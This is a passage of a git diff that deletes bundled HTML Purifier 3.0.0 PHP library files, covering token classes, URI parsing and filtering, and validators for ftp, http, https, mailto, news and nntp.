- */ -class HTMLPurifier_TagTransform_Simple extends HTMLPurifier_TagTransform -{ - - protected $style; - - /** - * @param $transform_to Tag name to transform to. - * @param $style CSS style to add to the tag - */ - public function __construct($transform_to, $style = null) { - $this->transform_to = $transform_to; - $this->style = $style; - } - - public function transform($tag, $config, $context) { - $new_tag = $tag->copy(); - $new_tag->name = $this->transform_to; - if (!is_null($this->style) && - ($new_tag->type == 'start' || $new_tag->type == 'empty') - ) { - $this->prependCSS($new_tag->attr, $this->style); - } - return $new_tag; - } - -} - diff --git a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/Token.php b/lib/htmlpurifier-3.0.0/library/HTMLPurifier/Token.php deleted file mode 100644 index 27eb9c1..0000000 --- a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/Token.php +++ /dev/null @@ -1,159 +0,0 @@ -<?php - -/** - * Defines a set of immutable value object tokens for HTML representation. - * - * @file - */ - -/** - * Abstract base token class that all others inherit from. - */ -class HTMLPurifier_Token { - public $type; /**< Type of node to bypass <tt>is_a()</tt>. */ - public $line; /**< Line number node was on in source document. Null if unknown. */ - - /** - * Lookup array of processing that this token is exempt from. - * Currently, valid values are "ValidateAttributes" and - * "MakeWellFormed_TagClosedError" - */ - public $armor = array(); - - /** - * Copies the tag into a new one (clone substitute). - * @return Copied token - */ - public function copy() { - return unserialize(serialize($this)); - } -} - -/** - * Abstract class of a tag token (start, end or empty), and its behavior. - */ -class HTMLPurifier_Token_Tag extends HTMLPurifier_Token // abstract -{ - /** - * Static bool marker that indicates the class is a tag. - * - * This allows us to check objects with <tt>!empty($obj->is_tag)</tt> - * without having to use a function call <tt>is_a()</tt>. - */ - public $is_tag = true; - - /** - * The lower-case name of the tag, like 'a', 'b' or 'blockquote'. - * - * @note Strictly speaking, XML tags are case sensitive, so we shouldn't - * be lower-casing them, but these tokens cater to HTML tags, which are - * insensitive. - */ - public $name; - - /** - * Associative array of the tag's attributes. - */ - public $attr = array(); - - /** - * Non-overloaded constructor, which lower-cases passed tag name. - * - * @param $name String name. - * @param $attr Associative array of attributes. - */ - public function __construct($name, $attr = array(), $line = null) { - $this->name = ctype_lower($name) ? $name : strtolower($name); - foreach ($attr as $key => $value) { - // normalization only necessary when key is not lowercase - if (!ctype_lower($key)) { - $new_key = strtolower($key); - if (!isset($attr[$new_key])) { - $attr[$new_key] = $attr[$key]; - } - if ($new_key !== $key) { - unset($attr[$key]); - } - } - } - $this->attr = $attr; - $this->line = $line; - } -} - -/** - * Concrete start token class. - */ -class HTMLPurifier_Token_Start extends HTMLPurifier_Token_Tag -{ - public $type = 'start'; -} - -/** - * Concrete empty token class. - */ -class HTMLPurifier_Token_Empty extends HTMLPurifier_Token_Tag -{ - public $type = 'empty'; -} - -/** - * Concrete end token class. - * - * @warning This class accepts attributes even though end tags cannot. This - * is for optimization reasons, as under normal circumstances, the Lexers - * do not pass attributes. - */ -class HTMLPurifier_Token_End extends HTMLPurifier_Token_Tag -{ - public $type = 'end'; -} - -/** - * Concrete text token class. - * - * Text tokens comprise of regular parsed character data (PCDATA) and raw - * character data (from the CDATA sections). Internally, their - * data is parsed with all entities expanded. Surprisingly, the text token - * does have a "tag name" called #PCDATA, which is how the DTD represents it - * in permissible child nodes. - */ -class HTMLPurifier_Token_Text extends HTMLPurifier_Token -{ - - public $name = '#PCDATA'; /**< PCDATA tag name compatible with DTD. */ - public $type = 'text'; - public $data; /**< Parsed character data of text. */ - public $is_whitespace; /**< Bool indicating if node is whitespace. */ - - /** - * Constructor, accepts data and determines if it is whitespace. - * - * @param $data String parsed character data. - */ - public function __construct($data, $line = null) { - $this->data = $data; - $this->is_whitespace = ctype_space($data); - $this->line = $line; - } - -} - -/** - * Concrete comment token class. Generally will be ignored. - */ -class HTMLPurifier_Token_Comment extends HTMLPurifier_Token -{ - public $data; /**< Character data within comment. */ - public $type = 'comment'; - /** - * Transparent constructor. - * - * @param $data String comment data. - */ - public function __construct($data, $line = null) { - $this->data = $data; - $this->line = $line; - } -} - diff --git a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/TokenFactory.php b/lib/htmlpurifier-3.0.0/library/HTMLPurifier/TokenFactory.php deleted file mode 100644 index ca3d838..0000000 --- a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/TokenFactory.php +++ /dev/null @@ -1,95 +0,0 @@ -<?php - -require_once 'HTMLPurifier/Token.php'; - -/** - * Factory for token generation (PHP 5 only). - * - * @note Doing some benchmarking indicates that the new operator is much - * slower than the clone operator (even discounting the cost of the - * constructor). This class is for that optimization. We may want to - * consider porting this to PHP 4 by virtue of the fact it makes the code - * easier to read. Other then that, there's not much point as we don't - * maintain parallel HTMLPurifier_Token hierarchies (the main reason why - * you'd want to use an abstract factory). - */ -class HTMLPurifier_TokenFactory -{ - - /** - * Prototypes that will be cloned. - * @private - */ - // p stands for prototype - private $p_start, $p_end, $p_empty, $p_text, $p_comment; - - /** - * Generates blank prototypes for cloning. - */ - public function __construct() { - $this->p_start = new HTMLPurifier_Token_Start('', array()); - $this->p_end = new HTMLPurifier_Token_End(''); - $this->p_empty = new HTMLPurifier_Token_Empty('', array()); - $this->p_text = new HTMLPurifier_Token_Text(''); - $this->p_comment= new HTMLPurifier_Token_Comment(''); - } - - /** - * Creates a HTMLPurifier_Token_Start. - * @param $name Tag name - * @param $attr Associative array of attributes - * @return Generated HTMLPurifier_Token_Start - */ - public function createStart($name, $attr = array()) { - $p = clone $this->p_start; - $p->__construct($name, $attr); - return $p; - } - - /** - * Creates a HTMLPurifier_Token_End. - * @param $name Tag name - * @return Generated HTMLPurifier_Token_End - */ - public function createEnd($name) { - $p = clone $this->p_end; - $p->__construct($name); - return $p; - } - - /** - * Creates a HTMLPurifier_Token_Empty. - * @param $name Tag name - * @param $attr Associative array of attributes - * @return Generated HTMLPurifier_Token_Empty - */ - public function createEmpty($name, $attr = array()) { - $p = clone $this->p_empty; - $p->__construct($name, $attr); - return $p; - } - - /** - * Creates a HTMLPurifier_Token_Text. - * @param $data Data of text token - * @return Generated HTMLPurifier_Token_Text - */ - public function createText($data) { - $p = clone $this->p_text; - $p->__construct($data); - return $p; - } - - /** - * Creates a HTMLPurifier_Token_Comment. - * @param $data Data of comment token - * @return Generated HTMLPurifier_Token_Comment - */ - public function createComment($data) { - $p = clone $this->p_comment; - $p->__construct($data); - return $p; - } - -} - diff --git a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/URI.php b/lib/htmlpurifier-3.0.0/library/HTMLPurifier/URI.php deleted file mode 100644 index 10f6c19..0000000 --- a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/URI.php +++ /dev/null @@ -1,119 +0,0 @@ -<?php - -require_once 'HTMLPurifier/URIParser.php'; -require_once 'HTMLPurifier/URIFilter.php'; - -/** - * HTML Purifier's internal representation of a URI - */ -class HTMLPurifier_URI -{ - - public $scheme, $userinfo, $host, $port, $path, $query, $fragment; - - /** - * @note Automatically normalizes scheme and port - */ - public function __construct($scheme, $userinfo, $host, $port, $path, $query, $fragment) { - $this->scheme = is_null($scheme) || ctype_lower($scheme) ? $scheme : strtolower($scheme); - $this->userinfo = $userinfo; - $this->host = $host; - $this->port = is_null($port) ? $port : (int) $port; - $this->path = $path; - $this->query = $query; - $this->fragment = $fragment; - } - - /** - * Retrieves a scheme object corresponding to the URI's scheme/default - * @param $config Instance of HTMLPurifier_Config - * @param $context Instance of HTMLPurifier_Context - * @return Scheme object appropriate for validating this URI - */ - public function getSchemeObj($config, $context) { - $registry = HTMLPurifier_URISchemeRegistry::instance(); - if ($this->scheme !== null) { - $scheme_obj = $registry->getScheme($this->scheme, $config, $context); - if (!$scheme_obj) return false; // invalid scheme, clean it out - } else { - // no scheme: retrieve the default one - $def = $config->getDefinition('URI'); - $scheme_obj = $registry->getScheme($def->defaultScheme, $config, $context); - if (!$scheme_obj) { - // something funky happened to the default scheme object - trigger_error( - 'Default scheme object "' . $def->defaultScheme . '" was not readable', - E_USER_WARNING - ); - return false; - } - } - return $scheme_obj; - } - - /** - * Generic validation method applicable for all schemes - * @param $config Instance of HTMLPurifier_Config - * @param $context Instance of HTMLPurifier_Context - * @return True if validation/filtering succeeds, false if failure - */ - public function validate($config, $context) { - - // validate host - if (!is_null($this->host)) { - $host_def = new HTMLPurifier_AttrDef_URI_Host(); - $this->host = $host_def->validate($this->host, $config, $context); - if ($this->host === false) $this->host = null; - } - - // validate port - if (!is_null($this->port)) { - if ($this->port < 1 || $this->port > 65535) $this->port = null; - } - - // query and fragment are quite simple in terms of definition: - // *( pchar / "/" / "?" ), so define their validation routines - // when we start fixing percent encoding - - // path gets to be validated against a hodge-podge of rules depending - // on the status of authority and scheme, but it's not that important, - // esp. since it won't be applicable to everyone - - return true; - - } - - /** - * Convert URI back to string - * @return String URI appropriate for output - */ - public function toString() { - // reconstruct authority - $authority = null; - if (!is_null($this->host)) { - $authority = ''; - if(!is_null($this->userinfo)) $authority .= $this->userinfo . '@'; - $authority .= $this->host; - if(!is_null($this->port)) $authority .= ':' . $this->port; - } - - // reconstruct the result - $result = ''; - if (!is_null($this->scheme)) $result .= $this->scheme . ':'; - if (!is_null($authority)) $result .= '//' . $authority; - $result .= $this->path; - if (!is_null($this->query)) $result .= '?' . $this->query; - if (!is_null($this->fragment)) $result .= '#' . $this->fragment; - - return $result; - } - - /** - * Returns a copy of the URI object - */ - public function copy() { - return unserialize(serialize($this)); - } - -} - diff --git a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/URIDefinition.php b/lib/htmlpurifier-3.0.0/library/HTMLPurifier/URIDefinition.php deleted file mode 100644 index f6b434c..0000000 --- a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/URIDefinition.php +++ /dev/null @@ -1,145 +0,0 @@ -<?php - -require_once 'HTMLPurifier/Definition.php'; -require_once 'HTMLPurifier/URIFilter.php'; -require_once 'HTMLPurifier/URIParser.php'; - -require_once 'HTMLPurifier/URIFilter/DisableExternal.php'; -require_once 'HTMLPurifier/URIFilter/DisableExternalResources.php'; -require_once 'HTMLPurifier/URIFilter/HostBlacklist.php'; -require_once 'HTMLPurifier/URIFilter/MakeAbsolute.php'; - -HTMLPurifier_ConfigSchema::define( - 'URI', 'DefinitionID', null, 'string/null', ' -<p> - Unique identifier for a custom-built URI definition. If you want - to add custom URIFilters, you must specify this value. - This directive has been available since 2.1.0. -</p> -'); - -HTMLPurifier_ConfigSchema::define( - 'URI', 'DefinitionRev', 1, 'int', ' -<p> - Revision identifier for your custom definition. See - %HTML.DefinitionRev for details. This directive has been available - since 2.1.0. -</p> -'); - -// informative URI directives - -HTMLPurifier_ConfigSchema::define( - 'URI', 'DefaultScheme', 'http', 'string', ' -<p> - Defines through what scheme the output will be served, in order to - select the proper object validator when no scheme information is present. -</p> -'); - -HTMLPurifier_ConfigSchema::define( - 'URI', 'Host', null, 'string/null', ' -<p> - Defines the domain name of the server, so we can determine whether or - an absolute URI is from your website or not. Not strictly necessary, - as users should be using relative URIs to reference resources on your - website. It will, however, let you use absolute URIs to link to - subdomains of the domain you post here: i.e. example.com will allow - sub.example.com. However, higher up domains will still be excluded: - if you set %URI.Host to sub.example.com, example.com will be blocked. - <strong>Note:</strong> This directive overrides %URI.Base because - a given page may be on a sub-domain, but you wish HTML Purifier to be - more relaxed and allow some of the parent domains too. - This directive has been available since 1.2.0. -</p> -'); - -HTMLPurifier_ConfigSchema::define( - 'URI', 'Base', null, 'string/null', ' -<p> - The base URI is the URI of the document this purified HTML will be - inserted into. This information is important if HTML Purifier needs - to calculate absolute URIs from relative URIs, such as when %URI.MakeAbsolute - is on. You may use a non-absolute URI for this value, but behavior - may vary (%URI.MakeAbsolute deals nicely with both absolute and - relative paths, but forwards-compatibility is not guaranteed). - <strong>Warning:</strong> If set, the scheme on this URI - overrides the one specified by %URI.DefaultScheme. This directive has - been available since 2.1.0. -</p> -'); - -class HTMLPurifier_URIDefinition extends HTMLPurifier_Definition -{ - - public $type = 'URI'; - protected $filters = array(); - protected $registeredFilters = array(); - - /** - * HTMLPurifier_URI object of the base specified at %URI.Base - */ - public $base; - - /** - * String host to consider "home" base, derived off of $base - */ - public $host; - - /** - * Name of default scheme based on %URI.DefaultScheme and %URI.Base - */ - public $defaultScheme; - - public function __construct() { - $this->registerFilter(new HTMLPurifier_URIFilter_DisableExternal()); - $this->registerFilter(new HTMLPurifier_URIFilter_DisableExternalResources()); - $this->registerFilter(new HTMLPurifier_URIFilter_HostBlacklist()); - $this->registerFilter(new HTMLPurifier_URIFilter_MakeAbsolute()); - } - - public function registerFilter($filter) { - $this->registeredFilters[$filter->name] = $filter; - } - - public function addFilter($filter, $config) { - $filter->prepare($config); - $this->filters[$filter->name] = $filter; - } - - protected function doSetup($config) { - $this->setupMemberVariables($config); - $this->setupFilters($config); - } - - protected function setupFilters($config) { - foreach ($this->registeredFilters as $name => $filter) { - $conf = $config->get('URI', $name); - if ($conf !== false && $conf !== null) { - $this->addFilter($filter, $config); - } - } - unset($this->registeredFilters); - } - - protected function setupMemberVariables($config) { - $this->host = $config->get('URI', 'Host'); - $base_uri = $config->get('URI', 'Base'); - if (!is_null($base_uri)) { - $parser = new HTMLPurifier_URIParser(); - $this->base = $parser->parse($base_uri); - $this->defaultScheme = $this->base->scheme; - if (is_null($this->host)) $this->host = $this->base->host; - } - if (is_null($this->defaultScheme)) $this->defaultScheme = $config->get('URI', 'DefaultScheme'); - } - - public function filter(&$uri, $config, $context) { - foreach ($this->filters as $name => $x) { - $result = $this->filters[$name]->filter($uri, $config, $context); - if (!$result) return false; - } - return true; - } - -} diff --git a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/URIFilter.php b/lib/htmlpurifier-3.0.0/library/HTMLPurifier/URIFilter.php deleted file mode 100644 index b832a4a..0000000 --- a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/URIFilter.php +++ /dev/null @@ -1,38 +0,0 @@ -<?php - -/** - * Chainable filters for custom URI processing. - * - * These filters can perform custom actions on a URI filter object, - * including transformation or blacklisting. - * - * @warning This filter is called before scheme object validation occurs. - * Make sure, if you require a specific scheme object, you - * you check that it exists. This allows filters to convert - * proprietary URI schemes into regular ones. - */ -abstract class HTMLPurifier_URIFilter -{ - - /** - * Unique identifier of filter - */ - public $name; - - /** - * Performs initialization for the filter - */ - public function prepare($config) {} - - /** - * Filter a URI object - * @param &$uri Reference to URI object - * @param $config Instance of HTMLPurifier_Config - * @param $context Instance of HTMLPurifier_Context - * @return bool Whether or not to continue processing: false indicates - * URL is no good, true indicates continue processing. Note that - * all changes are committed directly on the URI object - */ - abstract public function filter(&$uri, $config, $context); - -} diff --git a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/URIFilter/DisableExternal.php b/lib/htmlpurifier-3.0.0/library/HTMLPurifier/URIFilter/DisableExternal.php deleted file mode 100644 index 1ba02b6..0000000 --- a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/URIFilter/DisableExternal.php +++ /dev/null @@ -1,34 +0,0 @@ -<?php - -require_once 'HTMLPurifier/URIFilter.php'; - -HTMLPurifier_ConfigSchema::define( - 'URI', 'DisableExternal', false, 'bool', - 'Disables links to external websites. This is a highly effective '. - 'anti-spam and anti-pagerank-leech measure, but comes at a hefty price: no'. - 'links or images outside of your domain will be allowed. Non-linkified '. - 'URIs will still be preserved. If you want to be able to link to '. - 'subdomains or use absolute URIs, specify %URI.Host for your website. '. - 'This directive has been available since 1.2.0.' -); - -class HTMLPurifier_URIFilter_DisableExternal extends HTMLPurifier_URIFilter -{ - public $name = 'DisableExternal'; - protected $ourHostParts = false; - public function prepare($config) { - $our_host = $config->get('URI', 'Host'); - if ($our_host !== null) $this->ourHostParts = array_reverse(explode('.', $our_host)); - } - public function filter(&$uri, $config, $context) { - if (is_null($uri->host)) return true; - if ($this->ourHostParts === false) return false; - $host_parts = array_reverse(explode('.', $uri->host)); - foreach ($this->ourHostParts as $i => $x) { - if (!isset($host_parts[$i])) return false; - if ($host_parts[$i] != $this->ourHostParts[$i]) return false; - } - return true; - } -} - diff --git a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/URIFilter/DisableExternalResources.php b/lib/htmlpurifier-3.0.0/library/HTMLPurifier/URIFilter/DisableExternalResources.php deleted file mode 100644 index da3bdcc..0000000 --- a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/URIFilter/DisableExternalResources.php +++ /dev/null @@ -1,26 +0,0 @@ -<?php - -require_once 'HTMLPurifier/URIFilter/DisableExternal.php'; - -HTMLPurifier_ConfigSchema::define( - 'URI', 'DisableExternalResources', false, 'bool', - 'Disables the embedding of external resources, preventing users from '. - 'embedding things like images from other hosts. This prevents '. - 'access tracking (good for email viewers), bandwidth leeching, '. - 'cross-site request forging, goatse.cx posting, and '. - 'other nasties, but also results in '. - 'a loss of end-user functionality (they can\'t directly post a pic '. - 'they posted from Flickr anymore). Use it if you don\'t have a '. - 'robust user-content moderation team. This directive has been '. - 'available since 1.3.0.' -); - -class HTMLPurifier_URIFilter_DisableExternalResources extends HTMLPurifier_URIFilter_DisableExternal -{ - public $name = 'DisableExternalResources'; - public function filter(&$uri, $config, $context) { - if (!$context->get('EmbeddedURI', true)) return true; - return parent::filter($uri, $config, $context); - } -} - diff --git a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/URIFilter/HostBlacklist.php b/lib/htmlpurifier-3.0.0/library/HTMLPurifier/URIFilter/HostBlacklist.php deleted file mode 100644 index 914afc7..0000000 --- a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/URIFilter/HostBlacklist.php +++ /dev/null @@ -1,28 +0,0 @@ -<?php - -require_once 'HTMLPurifier/URIFilter.php'; - -HTMLPurifier_ConfigSchema::define( - 'URI', 'HostBlacklist', array(), 'list', - 'List of strings that are forbidden in the host of any URI. Use it to '. - 'kill domain names of spam, etc. Note that it will catch anything in '. - 'the domain, so <tt>moo.com</tt> will catch <tt>moo.com.example.com</tt>. '. - 'This directive has been available since 1.3.0.' -); - -class HTMLPurifier_URIFilter_HostBlacklist extends HTMLPurifier_URIFilter -{ - public $name = 'HostBlacklist'; - protected $blacklist = array(); - public function prepare($config) { - $this->blacklist = $config->get('URI', 'HostBlacklist'); - } - public function filter(&$uri, $config, $context) { - foreach($this->blacklist as $blacklisted_host_fragment) { - if (strpos($uri->host, $blacklisted_host_fragment) !== false) { - return false; - } - } - return true; - } -} diff --git a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/URIFilter/MakeAbsolute.php b/lib/htmlpurifier-3.0.0/library/HTMLPurifier/URIFilter/MakeAbsolute.php deleted file mode 100644 index ea0d154..0000000 --- a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/URIFilter/MakeAbsolute.php +++ /dev/null @@ -1,118 +0,0 @@ -<?php - -// does not support network paths - -require_once 'HTMLPurifier/URIFilter.php'; - -HTMLPurifier_ConfigSchema::define( - 'URI', 'MakeAbsolute', false, 'bool', ' -<p> - Converts all URIs into absolute forms. This is useful when the HTML - being filtered assumes a specific base path, but will actually be - viewed in a different context (and setting an alternate base URI is - not possible). %URI.Base must be set for this directive to work. - This directive has been available since 2.1.0. -</p> -'); - -class HTMLPurifier_URIFilter_MakeAbsolute extends HTMLPurifier_URIFilter -{ - public $name = 'MakeAbsolute'; - protected $base; - protected $basePathStack = array(); - public function prepare($config) { - $def = $config->getDefinition('URI'); - $this->base = $def->base; - if (is_null($this->base)) { - trigger_error('URI.MakeAbsolute is being ignored due to lack of value for URI.Base configuration', E_USER_ERROR); - return; - } - $this->base->fragment = null; // fragment is invalid for base URI - $stack = explode('/', $this->base->path); - array_pop($stack); // discard last segment - $stack = $this->_collapseStack($stack); // do pre-parsing - $this->basePathStack = $stack; - } - public function filter(&$uri, $config, $context) { - if (is_null($this->base)) return true; // abort early - if ( - $uri->path === '' && is_null($uri->scheme) && - is_null($uri->host) && is_null($uri->query) && is_null($uri->fragment) - ) { - // reference to current document - $uri = $this->base->copy(); - return true; - } - if (!is_null($uri->scheme)) { - // absolute URI already: don't change - if (!is_null($uri->host)) return true; - $scheme_obj = $uri->getSchemeObj($config, $context); - if (!$scheme_obj) { - // scheme not recognized - return false; - } - if (!$scheme_obj->hierarchical) { - // non-hierarchal URI with explicit scheme, don't change - return true; - } - // special case: had a scheme but always is hierarchical and had no authority - } - if (!is_null($uri->host)) { - // network path, don't bother - return true; - } - if ($uri->path === '') { - $uri->path = $this->base->path; - }elseif ($uri->path[0] !== '/') { - // relative path, needs more complicated processing - $stack = explode('/', $uri->path); - $new_stack = array_merge($this->basePathStack, $stack); - $new_stack = $this->_collapseStack($new_stack); - $uri->path = implode('/', $new_stack); - } - // re-combine - $uri->scheme = $this->base->scheme; - if (is_null($uri->userinfo)) $uri->userinfo = $this->base->userinfo; - if (is_null($uri->host)) $uri->host = $this->base->host; - if (is_null($uri->port)) $uri->port = $this->base->port; - return true; - } - - /** - * Resolve dots and double-dots in a path stack - */ - private function _collapseStack($stack) { - $result = array(); - for ($i = 0; isset($stack[$i]); $i++) { - $is_folder = false; - // absorb an internally duplicated slash - if ($stack[$i] == '' && $i && isset($stack[$i+1])) continue; - if ($stack[$i] == '..') { - if (!empty($result)) { - $segment = array_pop($result); - if ($segment === '' && empty($result)) { - // error case: attempted to back out too far: - // restore the leading slash - $result[] = ''; - } elseif ($segment === '..') { - $result[] = '..'; // cannot remove .. with .. - } - } else { - // relative path, preserve the double-dots - $result[] = '..'; - } - $is_folder = true; - continue; - } - if ($stack[$i] == '.') { - // silently absorb - $is_folder = true; - continue; - } - $result[] = $stack[$i]; - } - if ($is_folder) $result[] = ''; - return $result; - } -} - diff --git a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/URIParser.php b/lib/htmlpurifier-3.0.0/library/HTMLPurifier/URIParser.php deleted file mode 100644 index b2433b4..0000000 --- a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/URIParser.php +++ /dev/null @@ -1,62 +0,0 @@ -<?php - -require_once 'HTMLPurifier/URI.php'; - -/** - * Parses a URI into the components and fragment identifier as specified - * by RFC 2396. - * @todo Replace regexps with a native PHP parser - */ -class HTMLPurifier_URIParser -{ - - /** - * Parses a URI - * @param $uri string URI to parse - * @return HTMLPurifier_URI representation of URI - */ - public function parse($uri) { - $r_URI = '!'. - '(([^:/?#<>\'"]+):)?'. // 2. Scheme - '(//([^/?#<>\'"]*))?'. // 4. Authority - '([^?#<>\'"]*)'. // 5. Path - '(\?([^#<>\'"]*))?'. // 7. Query - '(#([^<>\'"]*))?'. // 8. Fragment - '!'; - - $matches = array(); - $result = preg_match($r_URI, $uri, $matches); - - if (!$result) return false; // *really* invalid URI - - // seperate out parts - $scheme = !empty($matches[1]) ? $matches[2] : null; - $authority = !empty($matches[3]) ? $matches[4] : null; - $path = $matches[5]; // always present, can be empty - $query = !empty($matches[6]) ? $matches[7] : null; - $fragment = !empty($matches[8]) ? $matches[9] : null; - - // further parse authority - if ($authority !== null) { - // ridiculously inefficient: it's a stacked regex! - $HEXDIG = '[A-Fa-f0-9]'; - $unreserved = 'A-Za-z0-9-._~'; // make sure you wrap with [] - $sub_delims = '!$&\'()'; // needs [] - $pct_encoded = "%$HEXDIG$HEXDIG"; - $r_userinfo = "(?:[$unreserved$sub_delims:]|$pct_encoded)*"; - $r_authority = "/^(($r_userinfo)@)?(\[[^\]]+\]|[^:]*)(:(\d*))?/"; - $matches = array(); - preg_match($r_authority, $authority, $matches); - $userinfo = !empty($matches[1]) ? $matches[2] : null; - $host = !empty($matches[3]) ? $matches[3] : ''; - $port = !empty($matches[4]) ? (int) $matches[5] : null; - } else { - $port = $host = $userinfo = null; - } - - return new HTMLPurifier_URI( - $scheme, $userinfo, $host, $port, $path, $query, $fragment); - } - -} - diff --git a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/URIScheme.php b/lib/htmlpurifier-3.0.0/library/HTMLPurifier/URIScheme.php deleted file mode 100644 index fada387..0000000 --- a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/URIScheme.php +++ /dev/null @@ -1,41 +0,0 @@ -<?php - -/** - * Validator for the components of a URI for a specific scheme - */ -class HTMLPurifier_URIScheme -{ - - /** - * Scheme's default port (integer) - */ - public $default_port = null; - - /** - * Whether or not URIs of this schem are locatable by a browser - * http and ftp are accessible, while mailto and news are not. - */ - public $browsable = false; - - /** - * Whether or not the URI always uses <hier_part>, resolves edge cases - * with making relative URIs absolute - */ - public $hierarchical = false; - - /** - * Validates the components of a URI - * @note This implementation should be called by children if they define - * a default port, as it does port processing. - * @param $uri Instance of HTMLPurifier_URI - * @param $config HTMLPurifier_Config object - * @param $context HTMLPurifier_Context object - * @return Bool success or failure - */ - public function validate(&$uri, $config, $context) { - if ($this->default_port == $uri->port) $uri->port = null; - return true; - } - -} - diff --git a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/URIScheme/ftp.php b/lib/htmlpurifier-3.0.0/library/HTMLPurifier/URIScheme/ftp.php deleted file mode 100644 index 4396a1d..0000000 --- a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/URIScheme/ftp.php +++ /dev/null @@ -1,44 +0,0 @@ -<?php - -require_once 'HTMLPurifier/URIScheme.php'; - -/** - * Validates ftp (File Transfer Protocol) URIs as defined by generic RFC 1738. - */ -class HTMLPurifier_URIScheme_ftp extends HTMLPurifier_URIScheme { - - public $default_port = 21; - public $browsable = true; // usually - public $hierarchical = true; - - public function validate(&$uri, $config, $context) { - parent::validate($uri, $config, $context); - $uri->query = null; - - // typecode check - $semicolon_pos = strrpos($uri->path, ';'); // reverse - if ($semicolon_pos !== false) { - $type = substr($uri->path, $semicolon_pos + 1); // no semicolon - $uri->path = substr($uri->path, 0, $semicolon_pos); - $type_ret = ''; - if (strpos($type, '=') !== false) { - // figure out whether or not the declaration is correct - list($key, $typecode) = explode('=', $type, 2); - if ($key !== 'type') { - // invalid key, tack it back on encoded - $uri->path .= '%3B' . $type; - } elseif ($typecode === 'a' || $typecode === 'i' || $typecode === 'd') { - $type_ret = ";type=$typecode"; - } - } else { - $uri->path .= '%3B' . $type; - } - $uri->path = str_replace(';', '%3B', $uri->path); - $uri->path .= $type_ret; - } - - return true; - } - -} - diff --git a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/URIScheme/http.php b/lib/htmlpurifier-3.0.0/library/HTMLPurifier/URIScheme/http.php deleted file mode 100644 index 1bc2133..0000000 --- a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/URIScheme/http.php +++ /dev/null @@ -1,21 +0,0 @@ -<?php - -require_once 'HTMLPurifier/URIScheme.php'; - -/** - * Validates http (HyperText Transfer Protocol) as defined by RFC 2616 - */ -class HTMLPurifier_URIScheme_http extends HTMLPurifier_URIScheme { - - public $default_port = 80; - public $browsable = true; - public $hierarchical = true; - - public function validate(&$uri, $config, $context) { - parent::validate($uri, $config, $context); - $uri->userinfo = null; - return true; - } - -} - diff --git a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/URIScheme/https.php b/lib/htmlpurifier-3.0.0/library/HTMLPurifier/URIScheme/https.php deleted file mode 100644 index f9d1bf1..0000000 --- a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/URIScheme/https.php +++ /dev/null @@ -1,13 +0,0 @@ -<?php - -require_once 'HTMLPurifier/URIScheme/http.php'; - -/** - * Validates https (Secure HTTP) according to http scheme. - */ -class HTMLPurifier_URIScheme_https extends HTMLPurifier_URIScheme_http { - - public $default_port = 443; - -} - diff --git a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/URIScheme/mailto.php b/lib/htmlpurifier-3.0.0/library/HTMLPurifier/URIScheme/mailto.php deleted file mode 100644 index e2e459f..0000000 --- a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/URIScheme/mailto.php +++ /dev/null @@ -1,28 +0,0 @@ -<?php - -require_once 'HTMLPurifier/URIScheme.php'; - -// VERY RELAXED! Shouldn't cause problems, not even Firefox checks if the -// email is valid, but be careful! - -/** - * Validates mailto (for E-mail) according to RFC 2368 - * @todo Validate the email address - * @todo Filter allowed query parameters - */ - -class HTMLPurifier_URIScheme_mailto extends HTMLPurifier_URIScheme { - - public $browsable = false; - - public function validate(&$uri, $config, $context) { - parent::validate($uri, $config, $context); - $uri->userinfo = null; - $uri->host = null; - $uri->port = null; - // we need to validate path against RFC 2368's addr-spec - return true; - } - -} - diff --git a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/URIScheme/news.php b/lib/htmlpurifier-3.0.0/library/HTMLPurifier/URIScheme/news.php deleted file mode 100644 index 1763f4f..0000000 --- a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/URIScheme/news.php +++ /dev/null @@ -1,23 +0,0 @@ -<?php - -require_once 'HTMLPurifier/URIScheme.php'; - -/** - * Validates news (Usenet) as defined by generic RFC 1738 - */ -class HTMLPurifier_URIScheme_news extends HTMLPurifier_URIScheme { - - public $browsable = false; - - public function validate(&$uri, $config, $context) { - parent::validate($uri, $config, $context); - $uri->userinfo = null; - $uri->host = null; - $uri->port = null; - $uri->query = null; - // typecode check needed on path - return true; - } - -} - diff --git a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/URIScheme/nntp.php b/lib/htmlpurifier-3.0.0/library/HTMLPurifier/URIScheme/nntp.php deleted file mode 100644 index e358f4d..0000000 --- a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/URIScheme/nntp.php +++ /dev/null @@ -1,21 +0,0 @@ -<?php - -require_once 'HTMLPurifier/URIScheme.php'; - -/** - * Validates nntp (Network News Transfer Protocol) as defined by generic RFC 1738 - */ -class HTMLPurifier_URIScheme_nntp extends HTMLPurifier_URIScheme { - - public $default_port = 119; - public $browsable = false; - - public function validate(&$uri, $config, $context) { - parent::validate($uri, $config, $context); - $uri->userinfo = null; - $uri->query = null; - 